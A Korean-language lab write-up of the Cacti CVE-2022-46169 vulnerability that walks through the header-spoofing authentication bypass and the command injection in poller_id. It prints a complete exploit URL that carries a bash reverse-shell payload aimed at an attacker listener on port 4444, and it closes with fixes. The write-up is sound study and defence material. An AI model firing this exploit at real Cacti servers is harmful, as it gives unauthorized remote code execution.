
Cacti는 PHP, MySQL/MariaDB로 작성된 오픈소스 운영 모니터링 도구로, 사용자 친화적인 인터페이스를 제공합니다.
이 취약점은 2022년에 발견되었으며 1.2.23 이전의 모든 버전에 영향을 미칩니다. 이 버그는 RCE(원격 코드 실행)를 달성하기 위해 인증 우회와 명령 주입의 체인이 필요합니다.
이 CVE 분석에서는 Docker에서 Cacti를 실행하고 VSCode를 사용하여 코드를 분석하겠습니다. 설정은 매우 간단합니다. 먼저 새 환경을 만들기 위한 docker-compose.yaml 파일이 필요합니다. 아래는 docker-compose.yaml 파일입니다:
version: '2'
services:
cacti:
image: "smcline06/cacti"
container_name: cacti
domainname: example.com
hostname: localhost
ports:
- "8088:80"
environment:
- DB_NAME=cacti_master
- DB_USER=cactiuser
- DB_PASS=cactipassword
- DB_HOST=db
- DB_PORT=3306
- DB_ROOT_PASS=rootpassword
- INITIALIZE_DB=1
- TZ=America/Los_Angeles
volumes:
- cacti-data:/cacti
- cacti-spine:/spine
- cacti-backups:/backups
links:
- db
db:
image: "mariadb:10.3"
container_name: cacti_db
domainname: example.com
hostname: db
ports:
- "3307:3306" # Change host port to 3307
command:
- mysqld
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
- --max_connections=200
- --max_heap_table_size=128M
- --max_allowed_packet=32M
- --tmp_table_size=128M
- --join_buffer_size=128M
- --innodb_buffer_pool_size=1G
- --innodb_doublewrite=ON
- --innodb_flush_log_at_timeout=3
- --innodb_read_io_threads=32
- --innodb_write_io_threads=16
- --innodb_buffer_pool_instances=9
- --innodb_file_format=Barracuda
- --innodb_large_prefix=1
- --innodb_io_capacity=5000
- --innodb_io_capacity_max=10000
environment:
- MYSQL_ROOT_PASSWORD=User@123
- TZ=America/Los_Angeles
volumes:
- cacti-db:/var/lib/mysql
volumes:
cacti-db:
cacti-data:
cacti-spine:
cacti-backups:
파일을 만든 후 명령줄을 열고 파일 디렉터리로 이동한 다음 docker-compose up -d 명령을 실행하고, 브라우저를 열어 localhost:8088에 접속합니다. 처음에는 로그인 페이지가 표시됩니다:

기본 자격 증명은 admin/admin입니다. 설정 과정은 아래 사진을 통해 확인할 수 있습니다:

새 비밀번호 생성

설치가 완료되면 다음과 같은 콘솔 화면이 표시됩니다.

이제 취약점 분석을 시작해 보겠습니다. 알다시피 취약한 파일은 remote_agent.php이므로 브라우저에서 해당 파일에 접속해 보겠습니다.

파일에 접근할 권한이 없다는 메시지가 표시됩니다. 이제 이 파일의 소스 코드를 확인할 차례입니다.

remote_client_authorized() 함수를 호출하여 검사합니다. 그 함수를 자세히 살펴보겠습니다.

먼저 서버는 get_client_addr() 함수를 통해 우리의 IP 주소를 가져온 다음, gethostbyaddr() 함수를 사용하여 IP를 호스트 이름으로 변환합니다. 그런 다음 서버는 poller 테이블에서 사용 가능한 모든 pollers를 가져와 각 poller's hostname을 IP 주소에서 변환된 hostname과 비교합니다. 여기 get_client_addr() 내부에 우회 지점이 있습니다:

서버가 다음 헤더 중 하나를 통해 IP 주소를 검색한다는 것을 알 수 있습니다:
- X-Forwarded-For
- X-Client-IP
- X-Real-IP
- X-ProxyUser-Ip
- CF-Connecting-IP
- True-Client-IP
- HTTP_X_FORWARDED
- HTTP_X_FORWARDED_FOR
- HTTP_X_CLUSTER_CLIENT_IP
- HTTP_FORWARDED_FOR
- HTTP_FORWARDED
- HTTP_CLIENT_IP
- REMOTE_ADDR
이를 통해 우리는 IP 주소 값을 완전히 제어할 수 있습니다. 이 경우 X-Forwarded-For 헤더를 사용하여 IP를 유효한 IP로 스푸핑할 수 있으며, 이를 통해 인증을 우회할 수 있습니다. X-Forwarded-For 헤더는 클라이언트와 서버 사이에 프록시나 로드 밸런서가 있을 때 원래 IP 주소를 식별하는 데 자주 사용됩니다. 그러나 이는 공격자가 악용할 수 있는 공격 표면이 됩니다. Cacti를 로컬에서 실행 중이므로 localhost로 변환될 IP 주소, 즉 127.0.0.1을 지정해야 합니다.

이제 괜찮아 보이죠? 하지만 이건 시작에 불과합니다!!! 명령 주입에 성공하고 원격 코드 실행을 달성하려면 더 많은 코드 분석이 필요합니다. 인증이 완료된 후 프로그램은 다음 코드를 실행합니다.

서버는 action 매개변수를 가져와 Switch/Case 문으로 들어갑니다. action의 값이 pollerdata이면 프로그램은 poll_for_data()를 호출합니다. 이 함수는 명령 주입에 취약하므로 주의 깊게 분석하겠습니다.

이 함수는 사용자 요청 매개변수 local_data_ids, host_id, poller_id에서 받은 3개의 매개변수 $local_data_ids, $host_id, $poller_id를 사용합니다. 매개변수를 검색하는 함수의 차이점에 주목하세요. 하나는 get_filter_request_var이고 다른 하나는 get_nfilter_request_var입니다. 마지막 함수에는 n이 하나 더 있습니다. 이에 대해서는 나중에 더 자세히 다루겠습니다. 그 후 프로그램은 local_data_ids 매개변수를 제공했는지 확인하고, 각각을 반복하여 local_data_ids와 host_id를 기반으로 poller_item 테이블에서 데이터를 검색합니다. 쿼리 결과는 $items에 저장됩니다.

쿼리가 결과를 반환하면 프로그램은 $items의 각 $item을 반복하고, $item['action']을 Switch 값으로 사용하는 Switch/Case 문으로 들어갑니다. 케이스가 많지만 우리가 조사해야 할 케이스는 action이 2와 같은 POLLER_ACTION_SCRIPT_PHP입니다.

action이 2이면 프로그램은 exec()와 매우 유사한 proc_open() 명령을 실행하며, 완전히 우리가 제어하는 변수 중 하나인 $poller_id를 사용합니다. 더 명확하게 이해하기 위해 데이터베이스에 접속하여 poller_item 테이블의 내용을 확인해 보겠습니다.

테이블에서 action = 2인 poller를 얻으려면 local_data_id를 브루트포스해야 한다는 것을 알 수 있습니다. 이는 실제 공격 환경에서도 적용됩니다. 기본적으로 cacti에는 action = 2인 poller가 없지만, device와 같은 새 템플릿을 추가하면 만들 수 있습니다.



새 device를 생성한 후 poller_item 테이블에 다시 접속하면 action = 2인 새 poller가 생성된 것을 확인할 수 있습니다.

이제 전체 과정을 다시 살펴보겠습니다. 버그를 성공적으로 악용하려면 먼저 X-Forwarded-For 헤더를 추가하여 인증을 우회해야 합니다. 다음 단계는 action 매개변수를 polldata로, host_id =1로, local_data_ids를 action =2인 해당 poller와 동일한 값(이 경우 local_data_ids = 6)으로 제공하는 것입니다. 그리고 가장 중요한 것은 poller_id 매개변수에 명령을 주입하여 원격 코드 실행을 얻는 것입니다. get_nfilter_request_var()를 사용하기 때문에 이 매개변수가 취약해집니다. get_filter_request_var는 정수만 허용하는 반면, get_nfilter_request_var는 문자열을 입력할 수 있게 합니다. 또한 이 매개변수에는 입력 검증이 없으므로 완전한 명령 주입으로 이어집니다.
요청을 수신할 Kali Linux 서버를 실행해 보겠습니다.

페이로드를 구성하려면 서버를 실행하는 kali의 IP 주소와 포트가 필요합니다. 이 경우 172.22.119.130이며 netcat은 포트 4444에서 실행 중입니다.
이제 Burpsuite를 열고 악용을 시작해 보겠습니다. 여기서 사용된 페이로드는 ;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261입니다. 페이로드는 ;를 사용하여 이전 명령을 종료하고 새 명령을 실행합니다. 나머지는 리버스 셸을 얻기 위한 간단한 명령입니다. 모두 결합하면 전체 URL은 다음과 같습니다: localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261


Bump!!! 버그 악용에 성공했습니다. 과정과 설명이 꽤 길지만, 전반적으로 이는 그렇게 복잡한 취약점은 아닙니다.
이 취약점의 근본 원인은 poller_id 매개변수에 get_nfilter_request_var() 함수를 사용한 것입니다. 이를 get_filter_request_var()로 변경하면 정수만 허용하도록 할 수 있습니다.

cacti_escapeshellarg() 함수를 사용하여 poller_id 값을 정화함으로써 또 다른 보안 계층을 추가할 수 있습니다. 이러한 방법은 poller_id가 이후 단계에서 사용되기 전에 유효한 입력만 전달되도록 보장합니다.

이것으로 분석을 마칩니다. 의미 있는 것을 배우셨기를 바랍니다. 보시다시피 취약점은 종종 사용자 입력에서 발생합니다. 따라서 서버를 보호하기 위해 적절한 입력 검증을 적용하는 것이 매우 중요합니다. 원격 코드 실행은 정말로 치명적이지만, 이를 예방할 방법은 여전히 존재합니다!!! Happy hacking!
https://viblo.asia/p/phan-tich-lo-hong-unauthenticated-command-injection-cve-2022-46169-trong-phan-mem-cacti-MkNLrOK8VgA https://www.vicarius.io/vsociety/posts/unauthenticated-rce-in-cacti-cve-2022-46169